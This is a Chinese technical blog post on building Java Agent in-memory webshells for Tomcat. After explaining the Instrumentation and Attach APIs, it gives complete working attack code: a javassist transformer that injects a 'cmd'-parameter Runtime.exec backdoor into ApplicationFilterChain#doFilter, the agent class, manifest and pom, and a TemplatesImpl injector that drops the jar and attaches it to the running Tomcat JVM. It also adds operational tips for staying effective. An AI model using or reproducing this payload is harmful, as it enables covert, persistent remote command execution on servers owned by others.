在了解了RASP的基础上,就很容易看懂Agent内存马了
RASP从0到1:https://godownio.github.io/2024/12/30/rasp-de-fang
对应的代码:https://github.com/godownio/RASPAgent
Java Agent内存马 本文所有代码:https://github.com/godownio/TomcatMemshell
在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Java Agent 支持两种方式进行加载:
实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)
Instrumentation 不管什么方式加载,其中都会用到一个非常重要的实例,就是Instrumentation
Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果
Instrumentation提供的几个关键函数如下:其中addTransformer、retransformClasses、getAllLoadedClasses我们都在RASP中见过了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); ...... }
addTransformer增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。
addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
premain premain实现的Java Agent,按照以下过程实现:
首先必须实现premain方法,premain里接收Instrumentation。然后可以选择向Instrumentation addTransformer添加一个自定义的Transformer,这样在启动的时候会自动调用到自定义Transformer的transform方法去修改类字节码。
1 2 3 4 5 6 public class Agent { public static void premain (String agentArgs, Instrumentation inst) { inst.addTransformer(new AgentTransform ()); } }
jar包文件需要有MF文件,且必须含有Premain-Class属性指定premain所在的类。另外如果需要修改已经被JVM加载过的类的字节码,那么还需要设置在 MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true
需要在命令行用-javaagent
实现启动时加载
这里单独说一下第一步具体的自定义Transformer怎么写:
以下均采用流式写法,就是写到一个文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public class AgentTransform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { ... try { ... ClassReader classReader = new ClassReader (classfileBuffer); ClassWriter classWriter = new ClassWriter (classReader, ClassWriter.COMPUTE_MAXS); ClassVisitor classVisitor = new new ClassVisitor(Opcodes.ASM5, classWriter) { @Override public MethodVisitor visitMethod (int i, String s, String s1, String s2, String[] strings) { final MethodVisitor methodVisitor = super .visitMethod(i, s, s1, s2, strings); if (...) { return new MethodVisitor (api, methodVisitor) { @Override public void visitCode () { ... } }; } return methodVisitor; } }; classReader.accept(classVisitor, ClassReader.EXPAND_FRAMES); classfileBuffer = classWriter.toByteArray(); } catch (Exception e) { e.printStackTrace(); } return classfileBuffer; } }
需要实现ClassFileTransformer,重载transform方法。当 JVM 加载某个类时,会调用 transform
方法,允许开发者对字节码进行修改。
需要访问类,所以声明ClassReader,来获取类
需要对类中的内容进行修改,所以声明ClassWriter,该类继承于ClassReader
实例化访问者classVisitor来进行类访问,且重载其中的方法来修改字节码:
如果需要访问注解,则实例化AnnotationVisitor
如果需要访问参数,则实例化FieldVisitor
如果需要访问方法,则实例化MethodVisitor
最后, ClassReader
调用accept
方法 完成整个调用流程
上述说的实例化AnnotationVisitor、FieldVisitor、MethodVisitor分别对应ClassVisitor的visitAnnotation、visitField、visitMethod方法。比如你需要Hook类方法,如ProcessBuilder.start,则需要重载visitMethod
premain需要在启动前用-javaagent
加载,所以内存马是用不到这个的
agentmain 我们重点关注运行时加载的agentmain
agentmain和premian的实现过程大部分一致:
首先必须实现agentmain方法,agentmain和premain参数一致。等下介绍这里添加的自定义Transformer
1 2 3 4 5 6 public class Agent { public static void agentmain (String agentArgs, Instrumentation inst) { inst.addTransformer(new AgentTransform ()); } }
jar包文件需要有MF文件,且必须含有Agent-Class属性指定Agent 入口类。告诉 JVM 在运行时 attach 时,应该加载哪个类来执行 agent 的初始化逻辑。同样的,如果需要修改已经被JVM加载过的类的字节码,那么还需要设置在 MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true
由于agentmain式Hook是在运行时去attach,在 Java JDK6 以后实现启动后加载 Instrument 的是 Attach api,其中最重要的是com.sun.tools.attach.VirtualMachine
VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。里面配备有几个方法:attach,loadAgent 和 detach
attach方法允许我们传入一个jvm的id,然后远程连接到jvm上。为我们后面调用loadAgent打下铺垫
loadAgent向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例
detach方法从jvm上解除一个agent
这三个VirtualMachine搭配使用,就能完成向运行时的jvm程序attach 一个agent jar。一个attach的代码如下:
1 2 3 4 5 6 7 8 9 10 11 public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list) { if (vmd.displayName().endsWith("MainTest" )) { VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("E:\\CODE_COLLECT\\Idea_java_ProTest\\javawebAgent\\agent\\target\\agent-1.0.0-shaded.jar" , "Attach!" ); System.out.println("ok" ); virtualMachine.detach(); } } }
在 jdk 1.6 中实现了attach-on-demand(按需附着),我们可以使用该 Attach API 动态加载 agent 。然而 Attach API 在 tools.jar 中,windows jvm 启动时是默认不加载该依赖的。
第一个办法:我们在 classpath 中额外进行指定,默认位置就在System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar")
,也就是jdkhome/lib/tools.jar,在代码中URLClassLoader去加载。
本来想把tools.jar放在agent.jar中的,但是java不能解析jar中的jar(不支持递归解析)
不过我还想到一个办法,直接在agent.jar以shade模式打包,这样就把tools.jar也打包进去了,不过经过一些复现,目标机器上的 JVM 版本与你打包进去的 tools.jar
不一定兼容,容易崩,严重不推荐
似乎ubuntu 和mac 不用特地引入tools.jar,不过为了通用,用上面的方法是最好的
来到更核心的问题:
agentmain的自定义Transform怎么写?
利用流式写法,以下是一个示例的agentmain Transform,其中transform方法的作用和premain tranform方法一致,都是触发时去进行相应的处理。唯一的不同是,agentmain除了需要addTransformer外,还需要用retransformClasses去重新hook选择到的类,而premain则是直接addTransformer就结束了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public class CustomClassTransformer implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { ... ClassReader cr = new ClassReader (classfileBuffer); ClassWriter cw = new ClassWriter (cr, ClassWriter.COMPUTE_MAXS); ClassVisitor cv = new ClassVisitor (Opcodes.ASM5, cw) { @Override public MethodVisitor visitMethod (int i, final String s, String s1, String s2, String[] strings) { final MethodVisitor mv = super .visitMethod(i, s, s1, s2, strings); return new MethodVisitor (Opcodes.ASM5, mv) { @Override public void visitCode () { super .visitCode(); ... } }; return mv; } }; cr.accept(cv, ClassReader.EXPAND_FRAMES); classfileBuffer = cw.toByteArray(); return classfileBuffer; } public void retransform (Instrumentation inst) throws UnmodifiableClassException { LinkedList<Class> retransformClasses = new LinkedList <Class>(); Class[] loadedClasses = inst.getAllLoadedClasses(); for (Class clazz : loadedClasses) { if ("cn.org.javaweb.agent.attach.MainTest" .equals(clazz.getName())) { if (inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm" )) { inst.retransformClasses(clazz); } } } } }
对应的,在agentmain里手动去调用retransform->retransformClasses
1 2 3 4 5 6 7 8 9 10 11 public class attachAgent { public static void agentmain (String agentArgs, Instrumentation inst) throws UnmodifiableClassException { CustomClassTransformer customClassTransformer = new CustomClassTransformer (); inst.addTransformer(customClassTransformer); customClassTransformer.retransform(inst); } }
可以很清楚的说,premain和agentmain的区别就在于这个retransformClasses方法,retransformClasses在attach时会自动调用Transform的transform方法
不过后面我们会提到,除了retransformClasses可以运行时修改类外,redefineClasses也可以进行修改,冰蝎就是用的第二种利用方式,而这两种修改类的方式对应的攻-防都是完全不同的,暂时略过
Agent内存马实现 Agent内存马一定用的是agentmain,也就是运行时Hook的方式
那么该修改哪个类呢?
首先,选择一个程序必会经过的方法,这样能保证内存马有效。其次,为了方便回显,最好是选择方法体内能访问到request和response的方法。在Tomcat下有个非常合适的方法:ApplicationFilterChain#doFilter,如果这个类被ban了,又知道目标源码,可以选择去Hook Controller、StandardContext.service等,操作空间非常大
同时,为了保证稳定触发,我们的恶意代码应该塞在doFilter的最前面
代码第一步是向目标写jar,如果目标对jar落地有检测那直接G(这时候冰蝎的一种不用上传jar的agent马就非常秀了),修改类字节码用到的javassist库(如果手动调ASM指令也太曹了)
有同学就问了,MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true不是个死条件吗?是啊,但是它是打包在我们自定义的agent.jar中的,而不是要求服务器上必须有该MF
OK,直接给出payload吧
一个自定义的CustomClassTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 package agent;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javassist.LoaderClassPath;import java.io.ByteArrayInputStream;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;import java.security.ProtectionDomain;public class CustomClassTransformer implements ClassFileTransformer { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; @Override public byte [] transform(ClassLoader loader, String classname, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { if (classname.equals("org/apache/catalina/core/ApplicationFilterChain" )) { ClassPool pool = ClassPool.getDefault(); pool.appendClassPath(new LoaderClassPath (loader)); try { CtClass cc = pool.makeClass(new ByteArrayInputStream (classfileBuffer)); CtMethod doFilter = cc.getDeclaredMethod("doFilter" ); doFilter.insertBefore( "javax.servlet.http.HttpServletRequest req = request;\n" + "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}" ); return cc.toBytecode(); } catch (Exception e) { throw new RuntimeException (e); } } return new byte [0 ]; } public void retransform (Instrumentation inst) throws UnmodifiableClassException { inst.addTransformer(new CustomClassTransformer (), true ); for (Class<?> clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain" )) { try { inst.retransformClasses(clazz); } catch (UnmodifiableClassException e) { throw new RuntimeException (e); } } } } }
一个调用该transform.retransform的agentmain
1 2 3 4 5 6 7 8 9 10 11 12 package agent;import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;public class attachAgent { public static void agentmain (String agentArgs, Instrumentation inst) throws UnmodifiableClassException { CustomClassTransformer customClassTransformer = new CustomClassTransformer (); customClassTransformer.retransform(inst); } }
一个MF文件:
1 2 3 4 5 6 Manifest-Version: 1.0 Agent-Class: agent.attachAgent Can-Retransform-Classes: true Can-Redefine-Classes: true Can-Set-Native-Method-Prefix: true
pom.xml将以上三个文件打包成shade-jar,shade模式下会把javassist依赖也打包进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion>4.0 .0 </modelVersion> <groupId>cn.org.javaweb</groupId> <artifactId>AgentJAR</artifactId> <version>1.0 -SNAPSHOT</version> <properties> <maven.compiler.source>8 </maven.compiler.source> <maven.compiler.target>8 </maven.compiler.target> <project.build.sourceEncoding>UTF-8 </project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.21 .0 -GA</version> </dependency> <dependency> <groupId>com.sun</groupId> <artifactId>tools</artifactId> <systemPath>${project.basedir}/lib/tools.jar</systemPath> <version>1.8 </version> <scope>system</scope> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jar-plugin</artifactId> <version>2.3 .2 </version> <configuration> <archive> <manifestFile>src/main/resources/MANIFEST.MF</manifestFile> </archive> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-shade-plugin</artifactId> <version>2.3 </version> <executions> <execution> <phase>package </phase> <goals> <goal>shade</goal> </goals> <configuration> <artifactSet> <includes> <include>org.javassist:javassist:jar:*</include> </includes> </artifactSet> </configuration> </execution> </executions> <dependencies> <dependency> <groupId>com.sun</groupId> <artifactId>tools</artifactId> <systemPath>${project.basedir}/lib/tools.jar</systemPath> <version>1.8 </version> <scope>system</scope> </dependency> </dependencies> </plugin> </plugins> </build> </project>
这样我们的jar就制作好了
用TemplatesImpl字节码完成写jar和注入:
注意Tomcat环境下web jvm默认为org.apache.catalina.startup.Bootstrap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 package org.example.tomcatmemshell.Agent;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.File;import java.nio.file.Files;import java.nio.file.Paths;import java.io.FileOutputStream;import java.io.IOException;import java.util.Base64;public class AgentMemShell extends AbstractTranslet { public static String filename = "agentJAR.jar" ; public static String agentJAR_PATH = "E:\\CODE_COLLECT\\Idea_java_ProTest\\TomcatMemshell\\src\\main\\java\\org\\example\\tomcatmemshell\\Agent\\AgentJAR-1.0-SNAPSHOT.jar" ; public AgentMemShell () { try { String JarBaseString = encodeFileToBase64(agentJAR_PATH); String JarPath = getJARFile(JarBaseString); java.io.File toolsPath = new java .io.File(System.getProperty("java.home" ).replace("jre" ,"lib" ) + java.io.File.separator + "tools.jar" ); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java .net.URLClassLoader(new java .net.URL[]{url}); Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list" ,null ); java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine,null ); System.out.println("Running JVM list ..." ); for (int i=0 ;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName" ,null ); java.lang.String name = (java.lang.String) displayName.invoke(o,null ); if (name.contains("org.apache.catalina.startup.Bootstrap" )){ java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id" ,null ); java.lang.String id = (java.lang.String) getId.invoke(o,null ); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach" ,new Class []{java.lang.String.class}); java.lang.Object vm = attach.invoke(o,new Object []{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent" ,new Class []{java.lang.String.class}); loadAgent.invoke(vm,new Object []{JarPath}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach" ,null ); detach.invoke(vm,null ); System.out.println("Agent.jar Inject Success !!" ); break ; } } }catch (Exception e){ e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static String getJARFile (String base64) throws IOException { if (base64 != null ) { File JarDir = new File (System.getProperty("java.io.tmpdir" ), "jar-lib" ); if (!JarDir.exists()) { JarDir.mkdir(); } File jarFile = new File (JarDir, filename); if (jarFile.exists()) { jarFile.delete(); } byte [] bytes = Base64.getDecoder().decode(base64); if (bytes != null ) { try (FileOutputStream fos = new FileOutputStream (jarFile)) { fos.write(bytes); fos.flush(); } } return jarFile.getAbsolutePath(); } return "" ; } public static String encodeFileToBase64 (String filePath) throws IOException { byte [] fileBytes = Files.readAllBytes(Paths.get(filePath)); return Base64.getEncoder().encodeToString(fileBytes); } }
漏洞环境:https://github.com/godownio/TomcatMemshell
在上面项目的VulnServlet路由中,用同项目的CC3TemplatesImpl完成注入
千万要注意,不要多次注入,重复attach会导致内存马失效,打一次然后就去掉payload,只打回显命令,如下:
windows输出中文会有bug。不管了
不过因为回显在doFilter里提前写到response中返回,导致后续业务无法正常触发,很大概率会把业务打崩。而且操作的时候可能会重复attach导致代码重复,业务崩溃。
另外的,由于agent attach到jvm上,而目标可能有多个jvm在运行,而我们又无从得知jvm程序名,导致只有两种办法,一种是向所有jvm attach,一种是先打另外一种内存马,然后挂agent内存马做隐蔽。这是否有点。。
REF:
https://www.yuque.com/tianxiadamutou/zcfd4v/tdvszq#